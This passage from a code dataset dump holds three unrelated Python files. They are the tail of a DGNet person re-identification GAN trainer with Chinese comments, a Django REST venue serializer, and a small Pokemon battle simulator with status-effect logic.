x_b_recon_p[输入图片images_a（s_a）与图片pos_b（fp_b）合成的图片，当然和images_b长得一样]\n\n        return x_ab, x_ba, s_a, s_b, f_a, f_b, p_a, p_b, pp_a, pp_b, x_a_recon, x_b_recon, x_a_recon_p, x_b_recon_p\n\n    def gen_update(self, x_ab, x_ba, s_a, s_b, f_a, f_b, p_a, p_b, pp_a, pp_b, x_a_recon, x_b_recon, x_a_recon_p, x_b_recon_p, x_a, x_b, xp_a, xp_b, l_a, l_b, hyperparameters, iteration, num_gpu):\n        \"\"\"\n\n        :param x_ab:[images_a的st，images_b的ap]\n        :param x_ba:[images_b的st，images_a的ap]\n        :param s_a:[输入图片images_a经过Es编码得到的 st code]\n        :param s_b:[输入图片images_b经过Es编码得到的 st code]\n        :param f_a:[输入图片images_a经过Ea编码得到的 ap code]\n        :param f_b:[输入图片images_b经过Ea编码得到的 ap code]\n        :param p_a:[输入图片images_a经过Ea编码进行身份ID的预测]\n        :param p_b:[输入图片images_b经过Ea编码进行身份ID的预测]\n        :param pp_a:[输入图片pos_a经过Ea编码进行身份ID的预测]\n        :param pp_b:[输入图片pos_b经过Ea编码进行身份ID的预测]\n        :param x_a_recon:[输入图片images_a（s_a）与自己（f_a）合成的图片，当然和images_a长得一样]\n        :param x_b_recon:[输入图片images_b（s_b）与自己（f_b）合成的图片，当然和images_b长得一样]\n        :param x_a_recon_p:[输入图片images_a（s_a）与图片pos_a（fp_a）合成的图片，当然和images_a长得一样]\n        :param x_b_recon_p:[输入图片images_b（s_b）与图片pos_b（fp_b）合成的图片，当然和images_b长得一样]\n        :param x_a:images_a\n        :param x_b:images_b\n        :param xp_a:pos_a\n        :param xp_b:pos_b\n        :param l_a:labels_a\n        :param l_b:labels_b\n        :param hyperparameters:\n        :param iteration:\n        :param num_gpu:\n        :return:\n        \"\"\"\n        # ppa, ppb is the same person？\n        self.gen_opt.zero_grad()#梯度清零\n        self.id_opt.zero_grad()\n \n        # no gradient\n        # 对合成x_ba和x_ab分别进行一份拷贝\n        x_ba_copy = Variable(x_ba.data, requires_grad=False)\n        x_ab_copy = Variable(x_ab.data, requires_grad=False)\n\n        rand_num = random.uniform(0,1)\n        #################################\n        # encode structure\n        # enc_content是类ContentEncoder对象\n        if hyperparameters['use_encoder_again']>=rand_num:\n            # encode again (encoder is tuned, input is fixed)\n            # Es编码得到s_a_recon与s_b_recon即st code\n            # 如果是理想模型，s_a_recon=s_a, s_b_recon=s_b\n            s_a_recon = self.gen_b.enc_content(self.single(x_ab_copy))\n            s_b_recon = self.gen_a.enc_content(self.single(x_ba_copy))\n        else:\n            # copy the encoder\n            # 这里的是深拷贝\n            #enc_content_copy=gen_a.enc_content\n            self.enc_content_copy = copy.deepcopy(self.gen_a.enc_content)\n            self.enc_content_copy = self.enc_content_copy.eval()\n            # encode again (encoder is fixed, input is tuned)\n            s_a_recon = self.enc_content_copy(self.single(x_ab))\n            s_b_recon = self.enc_content_copy(self.single(x_ba))\n\n        #################################\n        # encode appearance\n        #id_a_copy=id_a=Ea\n        self.id_a_copy = copy.deepcopy(self.id_a)\n        self.id_a_copy = self.id_a_copy.eval()\n        if hyperparameters['train_bn']:\n            self.id_a_copy = self.id_a_copy.apply(train_bn)\n        self.id_b_copy = self.id_a_copy\n        # encode again (encoder is fixed, input is tuned)\n        # 对混合生成的图片x_ba，x_ab进行Es编码操作，同时对身份进行鉴别#\n        # f_a_recon，f_b_recon表示的ap code，p_a_recon，p_b_recon表示对身份的鉴别\n        f_a_recon, p_a_recon = self.id_a_copy(scale2(x_ba))\n        f_b_recon, p_b_recon = self.id_b_copy(scale2(x_ab))\n\n        # teacher Loss\n        #  Tune the ID model\n        log_sm = nn.LogSoftmax(dim=1)\n        #如果使用了教师网络\n        #默认ID_style为AB\n        if hyperparameters['teacher_w'] >0 and hyperparameters['teacher'] != \"\":\n            if hyperparameters['ID_style'] == 'normal':\n                #p_a_student表示x_ba_copy的身份编码，使用的是Ea进行身份编码，也就是使用学生模型进行身份编码\n                _, p_a_student = self.id_a(scale2(x_ba_copy))\n                #对p_a_student使用logsoftmax，输出结果为x_ba_copy像某张图片的概率（就是一个分布）\n                p_a_student = log_sm(p_a_student)\n                #使用教师模型对生成图像x_ba_copy进行分类，输出结果为x_ba_copy像某张图片的概率（就是一个分布）\n                p_a_teacher = predict_label(self.teacher_model, scale2(x_ba_copy), num_class = hyperparameters['ID_class'], alabel = l_a, slabel = l_b, teacher_style = hyperparameters['teacher_style'])\n                #通过最小化KL散度损失函数，目的是让分布p_a_student与p_a_teacher尽可能的一致\n                self.loss_teacher = self.criterion_teacher(p_a_student, p_a_teacher) / p_a_student.size(0)\n\n                #对x_ab_copy进行同样的操作\n                _, p_b_student = self.id_b(scale2(x_ab_copy))\n                p_b_student = log_sm(p_b_student)\n                p_b_teacher = predict_label(self.teacher_model, scale2(x_ab_copy), num_class = hyperparameters['ID_class'], alabel = l_b, slabel = l_a, teacher_style = hyperparameters['teacher_style'])\n                self.loss_teacher += self.criterion_teacher(p_b_student, p_b_teacher) / p_b_student.size(0)\n\n            #######################################################################################################################################################################################################\n            # primary feature learning loss\n            #######################################################################################################################################################################################################\n            #  ID_style为AB\n            elif hyperparameters['ID_style'] == 'AB':\n                # normal teacher-student loss\n                # BA -> LabelA(smooth) + LabelB(batchB)\n                # 合成的图片经过身份鉴别器，得到每个ID可能性的概率，注意这里去的是p_ba_student[0]，我们知有两个身份预测结果，这里只取了一个\n                # 并且赋值给了p_a_student，用于和教师模型结合的，共同计算损失\n                #p_a_student分为两个部分，p_a_student[0]表示L_prim,p_a_student[1]表示L_fine。\n                _, p_ba_student = self.id_a(scale2(x_ba_copy))# f_a, s_b\n                p_a_student = log_sm(p_ba_student[0])\n\n                with torch.no_grad():\n                    ##使用教师模型对生成图像x_ba_copy进行分类，输出结果为x_ba_copy像某张图片(x_a/x_b)的概率（就是一个分布）\n                    p_a_teacher = predict_label(self.teacher_model, scale2(x_ba_copy), num_class = hyperparameters['ID_class'], alabel = l_a, slabel = l_b, teacher_style = hyperparameters['teacher_style'])\n\n                # criterion_teacher = nn.KLDivLoss(size_average=False)\n                # 计算离散距离，可以理解为p_a_student与p_a_teacher每个元素的距离之和，然后除以p_a_student.size(0)取平均值\n                # 就是说学生网络（Ea）的预测越与教师网络结果相同，则是最好的\n                self.loss_teacher = self.criterion_teacher(p_a_student, p_a_teacher) / p_a_student.size(0)\n\n                # 对另一张合成图片进行同样的操作\n                _, p_ab_student = self.id_b(scale2(x_ab_copy)) # f_b, s_a\n                p_b_student = log_sm(p_ab_student[0])\n                with torch.no_grad():\n                    p_b_teacher = predict_label(self.teacher_model, scale2(x_ab_copy), num_class = hyperparameters['ID_class'], alabel = l_b, slabel = l_a, teacher_style = hyperparameters['teacher_style'])\n                self.loss_teacher += self.criterion_teacher(p_b_student, p_b_teacher) / p_b_student.size(0)\n                ########################################################################################################################################################################################################\n\n                ########################################################################################################################################################################################################\n                #fine—grained feature mining loss\n                ########################################################################################################################################################################################################\n                # branch b loss\n                # here we give different label\n                # p_ba_student[1]表示的是f_fine特征，l_b表示的是images_b,即为生成图像提供st code 的图片\n                loss_B = self.id_criterion(p_ba_student[1], l_b) + self.id_criterion(p_ab_student[1], l_a)\n                #######################################################################################################################################################################################################\n\n                # 对两部分损失进行权重调整\n                self.loss_teacher = hyperparameters['T_w'] * self.loss_teacher + hyperparameters['B_w'] * loss_B\n        else:\n            self.loss_teacher = 0.0\n\n\n        ## 剩下的就是重构图像之间的损失了\n        # 前面提到，重构和合成是不一样的，重构是构建出来和原来图片一样的图片\n        # 所以也就是可以把重构的图片和原来的图像直接计算像素直接的插值\n        # 但是合成的图片是没有办法的，因为训练数据集是没有合成图片的，所以，没有办法计算像素之间的损失\n        # #######################################################################################################################################################################################################\n        # auto-encoder image reconstruction\n        # 同ID图像进行重构时的损失函数\n        self.loss_gen_recon_x_a = self.recon_criterion(x_a_recon, x_a)\n        self.loss_gen_recon_x_b = self.recon_criterion(x_b_recon, x_b)\n        self.loss_gen_recon_xp_a = self.recon_criterion(x_a_recon_p, x_a)\n        self.loss_gen_recon_xp_b = self.recon_criterion(x_b_recon_p, x_b)\n        # #######################################################################################################################################################################################################\n\n        #######################################################################################################################################################################################################\n        # feature reconstruction\n        # 不同ID图像进行图像合成时，为了保证合成图像的st code和ap code与为合成图像提供st code 和 ap code保持一致所使用的损失函数\n        self.loss_gen_recon_s_a = self.recon_criterion(s_a_recon, s_a) if hyperparameters['recon_s_w'] > 0 else 0\n        self.loss_gen_recon_s_b = self.recon_criterion(s_b_recon, s_b) if hyperparameters['recon_s_w'] > 0 else 0\n        self.loss_gen_recon_f_a = self.recon_criterion(f_a_recon, f_a) if hyperparameters['recon_f_w'] > 0 else 0\n        self.loss_gen_recon_f_b = self.recon_criterion(f_b_recon, f_b) if hyperparameters['recon_f_w'] > 0 else 0\n        # #######################################################################################################################################################################################################\n\n        # 又一次进行图像合成\n        x_aba = self.gen_a.decode(s_a_recon, f_a_recon) if hyperparameters['recon_x_cyc_w'] > 0 else None\n        x_bab = self.gen_b.decode(s_b_recon, f_b_recon) if hyperparameters['recon_x_cyc_w'] > 0 else None\n\n\n        # ID loss AND Tune the Generated image\n        if hyperparameters['ID_style']=='PCB':\n            self.loss_id = self.PCB_loss(p_a, l_a) + self.PCB_loss(p_b, l_b)\n            self.loss_pid = self.PCB_loss(pp_a, l_a) + self.PCB_loss(pp_b, l_b)\n            self.loss_gen_recon_id = self.PCB_loss(p_a_recon, l_a) + self.PCB_loss(p_b_recon, l_b)\n\n\n        ########################################################################################################################################################################################################\n        #   使用的是  ['ID_style']=='AB'\n        elif hyperparameters['ID_style']=='AB':\n            weight_B = hyperparameters['teacher_w'] * hyperparameters['B_w']\n            #计算的是L^s_id\n            self.loss_id = self.id_criterion(p_a[0], l_a) + self.id_criterion(p_b[0], l_b) \\\n                         + weight_B * ( self.id_criterion(p_a[1], l_a) + self.id_criterion(p_b[1], l_b) )\n\n            #对同ID不同图片计算L^s_id\n            self.loss_pid = self.id_criterion(pp_a[0], l_a) + self.id_criterion(pp_b[0], l_b) #+ weight_B * ( self.id_criterion(pp_a[1], l_a) + self.id_criterion(pp_b[1], l_b) )\n\n            # 对生成图像计算L^C_id\n            self.loss_gen_recon_id = self.id_criterion(p_a_recon[0], l_a) + self.id_criterion(p_b_recon[0], l_b)\n        ########################################################################################################################################################################################################\n\n        else:\n            self.loss_id = self.id_criterion(p_a, l_a) + self.id_criterion(p_b, l_b)\n            self.loss_pid = self.id_criterion(pp_a, l_a) + self.id_criterion(pp_b, l_b)\n            self.loss_gen_recon_id = self.id_criterion(p_a_recon, l_a) + self.id_criterion(p_b_recon, l_b)\n\n        #print(f_a_recon, f_a)\n        self.loss_gen_cycrecon_x_a = self.recon_criterion(x_aba, x_a) if hyperparameters['recon_x_cyc_w'] > 0 else 0\n        self.loss_gen_cycrecon_x_b = self.recon_criterion(x_bab, x_b) if hyperparameters['recon_x_cyc_w'] > 0 else 0\n\n\n        ########################################################################################################################################################################################################\n        # GAN loss\n        #计算生成器G的对抗损失函数\n        ########################################################################################################################################################################################################\n        if num_gpu>1:\n            self.loss_gen_adv_a = self.dis_a.module.calc_gen_loss(self.dis_a, x_ba)\n            self.loss_gen_adv_b = self.dis_b.module.calc_gen_loss(self.dis_b, x_ab)\n        else:\n            self.loss_gen_adv_a = self.dis_a.calc_gen_loss(self.dis_a, x_ba)\n            self.loss_gen_adv_b = self.dis_b.calc_gen_loss(self.dis_b, x_ab)\n        ########################################################################################################################################################################################################\n\n        # domain-invariant perceptual loss\n        self.loss_gen_vgg_a = self.compute_vgg_loss(self.vgg, x_ba, x_b) if hyperparameters['vgg_w'] > 0 else 0\n        self.loss_gen_vgg_b = self.compute_vgg_loss(self.vgg, x_ab, x_a) if hyperparameters['vgg_w'] > 0 else 0\n\n        if iteration > hyperparameters['warm_iter']:\n            hyperparameters['recon_f_w'] += hyperparameters['warm_scale']\n            hyperparameters['recon_f_w'] = min(hyperparameters['recon_f_w'], hyperparameters['max_w'])\n            hyperparameters['recon_s_w'] += hyperparameters['warm_scale']\n            hyperparameters['recon_s_w'] = min(hyperparameters['recon_s_w'], hyperparameters['max_w'])\n            hyperparameters['recon_x_cyc_w'] += hyperparameters['warm_scale']\n            hyperparameters['recon_x_cyc_w'] = min(hyperparameters['recon_x_cyc_w'], hyperparameters['max_cyc_w'])\n\n        if iteration > hyperparameters['warm_teacher_iter']:\n            hyperparameters['teacher_w'] += hyperparameters['warm_scale']\n            hyperparameters['teacher_w'] = min(hyperparameters['teacher_w'], hyperparameters['max_teacher_w'])\n        # total loss，计算总的loss\n        #1个teacher loss+4个同ID图片重构loss+4个不同ID图片合成loss++3个ID loss+2个生成器loss、\n        #teacher loss包括了primary feature learning loss和fine_grain mining loss\n        self.loss_gen_total = hyperparameters['gan_w'] * self.loss_gen_adv_a + \\\n                              hyperparameters['gan_w'] * self.loss_gen_adv_b + \\\n                              hyperparameters['recon_x_w'] * self.loss_gen_recon_x_a + \\\n                              hyperparameters['recon_xp_w'] * self.loss_gen_recon_xp_a + \\\n                              hyperparameters['recon_f_w'] * self.loss_gen_recon_f_a + \\\n                              hyperparameters['recon_s_w'] * self.loss_gen_recon_s_a + \\\n                              hyperparameters['recon_x_w'] * self.loss_gen_recon_x_b + \\\n                              hyperparameters['recon_xp_w'] * self.loss_gen_recon_xp_b + \\\n                              hyperparameters['recon_f_w'] * self.loss_gen_recon_f_b + \\\n                              hyperparameters['recon_s_w'] * self.loss_gen_recon_s_b + \\\n                              hyperparameters['recon_x_cyc_w'] * self.loss_gen_cycrecon_x_a + \\\n                              hyperparameters['recon_x_cyc_w'] * self.loss_gen_cycrecon_x_b + \\\n                              hyperparameters['id_w'] * self.loss_id + \\\n                              hyperparameters['pid_w'] * self.loss_pid + \\\n                              hyperparameters['recon_id_w'] * self.loss_gen_recon_id + \\\n                              hyperparameters['vgg_w'] * self.loss_gen_vgg_a + \\\n                              hyperparameters['vgg_w'] * self.loss_gen_vgg_b + \\\n                              hyperparameters['teacher_w'] * self.loss_teacher\n\n        if self.fp16:\n            with amp.scale_loss(self.loss_gen_total, [self.gen_opt,self.id_opt]) as scaled_loss:\n                scaled_loss.backward()\n            self.gen_opt.step()\n            self.id_opt.step()\n        else:\n            self.loss_gen_total.backward()#计算梯度\n            self.gen_opt.step()#梯度更新\n            self.id_opt.step()#梯度更新\n        print(\"L_total: %.4f, L_gan: %.4f,  Lx: %.4f, Lxp: %.4f, Lrecycle:%.4f, Lf: %.4f, Ls: %.4f, Recon-id: %.4f, id: %.4f, pid:%.4f, teacher: %.4f\"%( self.loss_gen_total, \\\n                                                        hyperparameters['gan_w'] * (self.loss_gen_adv_a + self.loss_gen_adv_b), \\\n                                                        hyperparameters['recon_x_w'] * (self.loss_gen_recon_x_a + self.loss_gen_recon_x_b), \\\n                                                        hyperparameters['recon_xp_w'] * (self.loss_gen_recon_xp_a + self.loss_gen_recon_xp_b), \\\n                                                        hyperparameters['recon_x_cyc_w'] * (self.loss_gen_cycrecon_x_a + self.loss_gen_cycrecon_x_b), \\\n                                                        hyperparameters['recon_f_w'] * (self.loss_gen_recon_f_a + self.loss_gen_recon_f_b), \\\n                                                        hyperparameters['recon_s_w'] * (self.loss_gen_recon_s_a + self.loss_gen_recon_s_b), \\\n                                                        hyperparameters['recon_id_w'] * self.loss_gen_recon_id, \\\n                                                        hyperparameters['id_w'] * self.loss_id,\\\n                                                        hyperparameters['pid_w'] * self.loss_pid,\\\nhyperparameters['teacher_w'] * self.loss_teacher )  )\n\n    def compute_vgg_loss(self, vgg, img, target):\n        img_vgg = vgg_preprocess(img)\n        target_vgg = vgg_preprocess(target)\n        img_fea = vgg(img_vgg)\n        target_fea = vgg(target_vgg)\n        return torch.mean((self.instancenorm(img_fea) - self.instancenorm(target_fea)) ** 2)\n\n    def PCB_loss(self, inputs, labels):\n       loss = 0.0\n       for part in inputs:\n           loss += self.id_criterion(part, labels)\n       return loss/len(inputs)\n\n    def sample(self, x_a, x_b):\n        self.eval()\n        x_a_recon, x_b_recon, x_ba1, x_ab1, x_aba, x_bab = [], [], [], [], [], []\n        for i in range(x_a.size(0)):\n            s_a = self.gen_a.encode( self.single(x_a[i].unsqueeze(0)) )\n            s_b = self.gen_b.encode( self.single(x_b[i].unsqueeze(0)) )\n            f_a, _ = self.id_a( scale2(x_a[i].unsqueeze(0)))\n            f_b, _ = self.id_b( scale2(x_b[i].unsqueeze(0)))\n            x_a_recon.append(self.gen_a.decode(s_a, f_a))\n            x_b_recon.append(self.gen_b.decode(s_b, f_b))\n            x_ba = self.gen_a.decode(s_b, f_a)\n            x_ab = self.gen_b.decode(s_a, f_b)\n            x_ba1.append(x_ba)\n            x_ab1.append(x_ab)\n            #cycle\n            s_b_recon = self.gen_a.enc_content(self.single(x_ba))\n            s_a_recon = self.gen_b.enc_content(self.single(x_ab))\n            f_a_recon, _ = self.id_a(scale2(x_ba))\n            f_b_recon, _ = self.id_b(scale2(x_ab))\n            x_aba.append(self.gen_a.decode(s_a_recon, f_a_recon))\n            x_bab.append(self.gen_b.decode(s_b_recon, f_b_recon))\n\n        x_a_recon, x_b_recon = torch.cat(x_a_recon), torch.cat(x_b_recon)\n        x_aba, x_bab = torch.cat(x_aba), torch.cat(x_bab)\n        x_ba1, x_ab1 = torch.cat(x_ba1), torch.cat(x_ab1)\n        self.train()\n\n        return x_a, x_a_recon, x_aba, x_ab1, x_b, x_b_recon, x_bab, x_ba1\n\n    def dis_update(self, x_ab, x_ba, x_a, x_b, hyperparameters, num_gpu):\n        self.dis_opt.zero_grad()#梯度清零\n        # D loss\n        #计算判别器的损失函数，然后计算梯度，进行梯度更新\n        #输入为（x_ba，x_a），（x_ab，x_b）两对图片，损失为两对图片的总和\n        if num_gpu>1:\n            self.loss_dis_a, reg_a = self.dis_a.module.calc_dis_loss(self.dis_a, x_ba.detach(), x_a)\n            self.loss_dis_b, reg_b = self.dis_b.module.calc_dis_loss(self.dis_b, x_ab.detach(), x_b)\n        else:\n            # 计算判别器的损失函数\n            self.loss_dis_a, reg_a = self.dis_a.calc_dis_loss(self.dis_a, x_ba.detach(), x_a)\n            self.loss_dis_b, reg_b = self.dis_b.calc_dis_loss(self.dis_b, x_ab.detach(), x_b)\n        self.loss_dis_total = hyperparameters['gan_w'] * self.loss_dis_a + hyperparameters['gan_w'] * self.loss_dis_b\n        print(\"DLoss: %.4f\"%self.loss_dis_total, \"Reg: %.4f\"%(reg_a+reg_b) )\n        if self.fp16:\n            with amp.scale_loss(self.loss_dis_total, self.dis_opt) as scaled_loss:\n                scaled_loss.backward()\n        else:\n            self.loss_dis_total.backward()#计算梯度\n        self.dis_opt.step()#梯度更新\n\n    def update_learning_rate(self):\n        #对学习率的更新\n        if self.dis_scheduler is not None:\n            self.dis_scheduler.step()\n        if self.gen_scheduler is not None:\n            self.gen_scheduler.step()\n        if self.id_scheduler is not None:\n            self.id_scheduler.step()\n\n    def resume(self, checkpoint_dir, hyperparameters):\n        # Load generators\n        last_model_name = get_model_list(checkpoint_dir, \"gen\")\n        state_dict = torch.load(last_model_name)\n        self.gen_a.load_state_dict(state_dict['a'])\n        self.gen_b = self.gen_a\n        iterations = int(last_model_name[-11:-3])\n        # Load discriminators\n        last_model_name = get_model_list(checkpoint_dir, \"dis\")\n        state_dict = torch.load(last_model_name)\n        self.dis_a.load_state_dict(state_dict['a'])\n        self.dis_b = self.dis_a\n        # Load ID dis\n        last_model_name = get_model_list(checkpoint_dir, \"id\")\n        state_dict = torch.load(last_model_name)\n        self.id_a.load_state_dict(state_dict['a'])\n        self.id_b = self.id_a\n        # Load optimizers\n        try:\n            state_dict = torch.load(os.path.join(checkpoint_dir, 'optimizer.pt'))\n            self.dis_opt.load_state_dict(state_dict['dis'])\n            self.gen_opt.load_state_dict(state_dict['gen'])\n            self.id_opt.load_state_dict(state_dict['id'])\n        except:\n            pass\n        # Reinitilize schedulers\n        self.dis_scheduler = get_scheduler(self.dis_opt, hyperparameters, iterations)\n        self.gen_scheduler = get_scheduler(self.gen_opt, hyperparameters, iterations)\n        print('Resume from iteration %d' % iterations)\n        return iterations\n\n    def save(self, snapshot_dir, iterations, num_gpu=1):\n        # Save generators, discriminators, and optimizers\n        gen_name = os.path.join(snapshot_dir, 'gen_%08d.pt' % (iterations + 1))\n        dis_name = os.path.join(snapshot_dir, 'dis_%08d.pt' % (iterations + 1))\n        id_name = os.path.join(snapshot_dir, 'id_%08d.pt' % (iterations + 1))\n        opt_name = os.path.join(snapshot_dir, 'optimizer.pt')\n        torch.save({'a': self.gen_a.state_dict()}, gen_name)\n        if num_gpu>1:\n            torch.save({'a': self.dis_a.module.state_dict()}, dis_name)\n        else:\n            torch.save({'a': self.dis_a.state_dict()}, dis_name)\n        torch.save({'a': self.id_a.state_dict()}, id_name)\n        torch.save({'gen': self.gen_opt.state_dict(), 'id': self.id_opt.state_dict(),  'dis': self.dis_opt.state_dict()}, opt_name)\n\n\n\n","repo_name":"shilongshen/DGNet-explanation","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":49132,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"7444572797","text":"from rest_framework_gis.serializers import GeoModelSerializer\n\nfrom images.api.serializers import ImageSerializer\nfrom images.models import Image\nfrom venues.models import Venue\n\n\nclass VenueSerializer(GeoModelSerializer):\n    images = ImageSerializer(many=True, required=False)\n\n    class Meta:\n        model = Venue\n        geo_field = 'location'\n        fields = '__all__'\n\n    def create(self, validated_data):\n        images_links = validated_data.pop('images')\n        venue = Venue.objects.create(**validated_data)\n\n        for image_link in images_links:\n            image, created = Image.objects.get_or_create(link=image_link['link'])\n            venue.images.add(image)\n        return venue\n\n    def update(self, instance, validated_data):\n        images_links = validated_data.pop('images')\n\n        instance.name = validated_data.get('name', instance.name)\n        instance.description = validated_data.get('description', instance.description)\n        instance.location = validated_data.get('location', instance.location)\n        instance.city = validated_data.get('city', instance.city)\n        instance.address = validated_data.get('address', instance.address)\n\n        images_list = []\n\n        for image in images_links:\n            link, created = Image.objects.get_or_create(link=image['link'])\n            images_list.append(link)\n\n        instance.images.set(images_list)\n        instance.save()\n        return instance\n","repo_name":"dominpn/spotcrew","sub_path":"spotcrew_backend/venues/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"39547834239","text":"# Creating a battle\nfrom pokemon import Pokemon\nfrom move import Move\nimport random\nfrom dash import Dash, html, dcc, Input, Output, State\nimport dash_bootstrap_components as dbc\n\n\n# Moves that replace Pokemon's current move based on status effect\nparalyzed = Move([-1, '!Paralysis', 'Normal', 'Status', '999', '0', '100', 'is stunned!', {}])\nasleep = Move([-1, '!Asleep', 'Normal', 'Status', '999', '0', '100', 'is sleeping...', {}])\nconfused = Move([-1, '!Confuse', 'Normal', 'Physical', '999', '40', '100', 'hurt itself in confusion!', {}])\nblank = Move([-1, '!Blank', 'Normal', 'Status', '999', '0', '100', 'does nothing.', {}])\nfrozen = Move([-1, '!Freeze', 'Ice', 'Status', '999', '0', '100', 'is encased in ice...', {}])\nflinched = Move([-1, '!Flinch', 'Normal', 'Status', '999', '0', '100', 'is too scared to move!', {}])\n\n\ndef game_round(poke1, poke2, poke1_move, poke2_move):\n    \"\"\"\n    Simulates a round passing with both Pokemon using a move against each other\n\n    Args:\n        poke1 (Pokemon): First Pokemon (usually) user\n        poke2 (Pokemon): Second Pokemon\n        poke1_move (Move): Move that the first Pokemon plans to move\n        poke2_move (Move): Move that the second Pokemon plans to move\n\n    Returns:\n        log (str): Log of the battle\n\n    \"\"\"\n\n    # Creates log and Pokemon move dictionary\n    log = ''\n    mdict = {poke1: poke1_move, poke2: poke2_move}\n\n    # check paralysis on both Pokemon since it affects speed and therefore who goes first\n    if \"Paralyze\" in poke1.start_status.keys():\n        poke1.speed = poke1.speed // 2\n\n    if \"Paralyze\" in poke2.start_status.keys():\n        poke2.speed = poke2.speed // 2\n\n    # define a faster and slower Pokemon to determine which one goes first\n    if poke1.speed >= poke2.speed:\n        faster = poke1\n        slower = poke2\n    else:\n        faster = poke2\n        slower = poke1\n\n    # check start statuses for the faster Pokemon\n    if \"Burn\" in faster.start_status.keys():\n        # burn cuts attack in half\n        faster.attack = faster.attack // 2\n\n    if \"Paralyze\" in faster.start_status.keys():\n        # paralysis has a 25% chance of not allowing the Pokemon to move\n        if random.random() < .25:\n            mdict[faster] = paralyzed\n\n    if \"Sleep\" in faster.start_status.keys():\n        # sleep can run for 1-4 turns and the Pokemon cannot move during it\n        if faster.start_status[\"Sleep\"][\"turns\"] > 0:\n            faster.start_status[\"Sleep\"][\"turns\"] -= 1\n            mdict[faster] = asleep\n        else:\n            del faster.start_status['Sleep']\n            log += f'{faster.name} woke up!\\n'\n\n    if \"Freeze\" in faster.start_status.keys():\n        # there's a 20% chance of thawing and the Pokemon cannot move while frozen\n        if random.random() < .2:\n            del faster.start_status[\"Freeze\"]\n            log += f'{faster.name} thawed out!'\n        else:\n            mdict[faster] = frozen\n\n    if \"Confuse\" in faster.start_status.keys():\n        # Confuse can last 1-4 turns and has a 50% chance of having the user hurt themselves\n        if faster.start_status[\"Confuse\"][\"turns\"] > 0:\n            faster.start_status[\"Confuse\"][\"turns\"] -= 1\n        if random.random() < .5:\n            mdict[faster] = confused\n\n    if \"Delayed\" in faster.start_status.keys():\n        # these moves will take place next turn, so we keep track of what they are for next turn\n        if faster == poke1:\n            poke1_next_move = poke1.start_status[\"Delayed\"]\n            poke1_move = blank\n        else:\n            poke2_next_move = poke1.start_status[\"Delayed\"]\n            poke2_move = blank\n        del faster.start_status[\"Delayed\"]\n\n    # The faster Pokemon uses its move\n    log += mdict[faster].activate_move(faster, slower)\n\n    # Check to see if either Pokemon fainted, ending the battle\n    if faster.health <= 0:\n        log += str(slower.name) + \" Wins!\\n\"\n        return log\n    elif slower.health <= 0:\n        log += str(faster.name) + \" Wins!\\n\"\n        return log\n\n    # Check the Slower Pokemon's starting Status\n    if \"Burn\" in slower.start_status.keys():\n        # burn cuts attack in half\n        slower.attack = slower.attack // 2\n\n    if \"Paralyze\" in slower.start_status.keys():\n        # paralysis has a 25% chance of not letting them move\n        if random.random() < .25:\n            mdict[slower] = paralyzed\n\n    if \"Sleep\" in slower.start_status.keys():\n        # sleep lasts for 1-5 turns and the Pokemon can't move while inflicted\n        if slower.start_status[\"Sleep\"][\"turns\"] > 0:\n            slower.start_status[\"Sleep\"][\"turns\"] -= 1\n            mdict[slower] = asleep\n        else:\n            del slower.start_status['Sleep']\n            log += f'{slower.name} woke up!\\n'\n\n    if \"Freeze\" in slower.start_status.keys():\n        # has a 20% chance of thawing and the Pokemon cannot move while inflicted\n        if random.random() < .2:\n            del slower.start_status[\"Freeze\"]\n            log += f'{slower.name} thawed out!'\n        else:\n            mdict[slower] = frozen\n\n    if \"Confuse\" in slower.start_status.keys():\n        # can last 1-4 turns and has a 50% chance of the User hurting themselves\n        if slower.start_status[\"Confuse\"][\"turns\"] > 0:\n            slower.start_status[\"Confuse\"][\"turns\"] -= 1\n        if random.random() < .5:\n            mdict[slower] = confused\n\n    if \"Delayed\" in slower.start_status.keys():\n        # these moves will take place next turn, so we keep track of what they are for next turn\n        if slower == poke2:\n            poke2_next_move = poke2.start_status[\"Delayed\"]\n            poke2_move = blank\n        else:\n            poke1_next_move = poke1.start_status[\"Delayed\"]\n            poke1_move = blank\n        del lower.start_status[\"Delayed\"]\n\n    if \"Flinch\" in slower.start_status.keys():\n        # if a Pokemon has the Flinch status they cannot move that turn\n        mdict[slower] = flinched\n        del slower.start_status[\"Flinch\"]\n\n    # Have the slower Pokemon use its move\n    log += mdict[slower].activate_move(slower, faster)\n\n    # Check to see if either Pokemon Fainted, ending the battle\n    if faster.health <= 0:\n        log += str(slower.name) + \" Wins!\\n\"\n        return log\n    elif slower.health <= 0:\n        log += str(faster.name) + \" Wins!\\n\"\n        return log\n\n    # Check end of turn statuses for each Pokemon\n    # At the end of the turn poison and burn both take away 1/16th of the\n    # effected Pokemon's total hp\n    if \"Burn\" in poke1.end_status.keys() or \"Poison\" in poke1.end_status.keys():\n        dmg = poke1.max_health // 16\n        poke1.health -= dmg\n        log += f'{poke1.name} took {dmg} damage from a status!\\n'\n\n    if \"Burn\" in poke2.end_status.keys() or \"Poison\" in poke2.end_status.keys():\n        dmg = poke1.max_health // 16\n        poke2.health -= poke2.max_health // 16\n        log += f'{poke2.name} took {dmg} damage from a status!\\n'\n\n    # Check to see if either Pokemon Fainted, ending the battle\n    if faster.health <= 0:\n        log += str(slower.name) + \" Wins!\\n\"\n        return log\n    elif slower.health <= 0:\n        log += str(faster.name) + \" Wins!\\n\"\n        return log\n\n    return log","repo_name":"kaldenh/pokemon_simulator","sub_path":"battle.py","file_name":"battle.py","file_ext":"py","file_size_in_byte":7173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
